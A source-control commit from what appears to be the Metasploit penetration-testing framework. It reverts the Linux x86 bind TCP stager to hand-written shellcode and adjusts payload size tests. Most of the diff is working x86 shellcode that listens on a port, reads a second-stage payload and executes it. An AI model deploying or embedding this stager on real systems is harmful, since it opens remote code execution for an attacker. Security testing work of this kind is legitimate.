Skip to content

Commit 3c2e6bb

Browse files
author
Brent Cook
committed
rollback linux bind_tcp stager metasm port
The new metasm port of the linux bind_tcp stager doesn't yet generate valid executables. While we're debugging the problem, this reverts the bind_tcp.rb stager to use the static ASM again.
1 parent b862d24 commit 3c2e6bb

File tree

2 files changed

+71
-11
lines changed

2 files changed

+71
-11
lines changed

modules/payloads/stagers/linux/x86/bind_tcp.rb

Lines changed: 69 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -6,26 +6,86 @@
66

77
require 'msf/core'
88
require 'msf/core/handler/bind_tcp'
9-
require 'msf/core/payload/linux/bind_tcp'
109

11-
module Metasploit4
1210

13-
CachedSize = :dynamic
11+
###
12+
#
13+
# BindTcp
14+
# -------
15+
#
16+
# Linux bind TCP stager.
17+
#
18+
###
19+
module Metasploit3
20+
21+
CachedSize = 79
1422

1523
include Msf::Payload::Stager
16-
include Msf::Payload::Linux::BindTcp
24+
include Msf::Payload::Linux
1725

1826
def initialize(info = {})
1927
super(merge_info(info,
20-
'Name' => 'Bind TCP Stager (Linux x86)',
21-
'Description' => 'Listen for a connection (Linux x86)',
22-
'Author' => [ 'skape', 'egypt', ],
28+
'Name' => 'Bind TCP Stager',
29+
'Description' => 'Listen for a connection',
30+
'Author' => [
31+
'skape', # original
32+
'egypt', # NX support
33+
],
2334
'License' => MSF_LICENSE,
2435
'Platform' => 'linux',
2536
'Arch' => ARCH_X86,
2637
'Handler' => Msf::Handler::BindTcp,
27-
'Convention' => 'sockedi',
28-
'Stager' => { 'RequiresMidstager' => true }
38+
'Stager' =>
39+
{
40+
'Offsets' =>
41+
{
42+
'LPORT' => [ 0x29, 'n' ],
43+
},
44+
'Payload' =>
45+
46+
"\x6a\x7d" +# push byte +0x7d
47+
"\x58" +# pop eax
48+
"\x99" +# cdq
49+
"\xb2\x07" +# mov dl,0x7
50+
"\xb9\x00\x10\x00\x00" +# mov ecx,0x1000
51+
"\x89\xe3" +# mov ebx,esp
52+
"\x66\x81\xe3\x00\xf0" +# and bx,0xf000
53+
"\xcd\x80" +# int 0x80
54+
"\x31\xdb" +# xor ebx,ebx
55+
"\xf7\xe3" +# mul ebx
56+
"\x53" +# push ebx
57+
"\x43" +# inc ebx
58+
"\x53" +# push ebx
59+
"\x6a\x02" +# push byte +0x2
60+
"\x89\xe1" +# mov ecx,esp
61+
"\xb0\x66" +# mov al,0x66
62+
"\xcd\x80" +# int 0x80
63+
"\x5b" +# pop ebx
64+
"\x5e" +# pop esi
65+
"\x52" +# push edx
66+
"\x68\x02\x00\xbf\xbf" +# push dword 0xbfbf0002
67+
"\x6a\x10" +# push byte +0x10
68+
"\x51" +# push ecx
69+
"\x50" +# push eax
70+
"\x89\xe1" +# mov ecx,esp
71+
"\x6a\x66" +# push byte +0x66
72+
"\x58" +# pop eax
73+
"\xcd\x80" +# int 0x80
74+
"\xd1\xe3" +# shl ebx,1
75+
"\xb0\x66" +# mov al,0x66
76+
"\xcd\x80" +# int 0x80
77+
"\x43" +# inc ebx
78+
"\xb0\x66" +# mov al,0x66
79+
"\x89\x51\x04" +# mov [ecx+0x4],edx
80+
"\xcd\x80" +# int 0x80
81+
"\x93" +# xchg eax,ebx
82+
"\xb6\x0c" +# mov dh,0xc
83+
"\xb0\x03" +# mov al,0x3
84+
"\xcd\x80" +# int 0x80
85+
"\x89\xdf" +# mov edi,ebx
86+
"\xff\xe1" # jmp ecx
87+
88+
}
2989
))
3090
end
3191

spec/modules/payloads_spec.rb

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1348,7 +1348,7 @@
13481348
'stagers/linux/x86/bind_tcp',
13491349
'stages/linux/x86/meterpreter'
13501350
],
1351-
dynamic_size: true,
1351+
dynamic_size: false,
13521352
modules_pathname: modules_pathname,
13531353
reference_name: 'linux/x86/meterpreter/bind_tcp'
13541354
end
@@ -1455,7 +1455,7 @@
14551455
'stagers/linux/x86/bind_tcp',
14561456
'stages/linux/x86/shell'
14571457
],
1458-
dynamic_size: true,
1458+
dynamic_size: false,
14591459
modules_pathname: modules_pathname,
14601460
reference_name: 'linux/x86/shell/bind_tcp'
14611461
end

0 commit comments

Comments
 (0)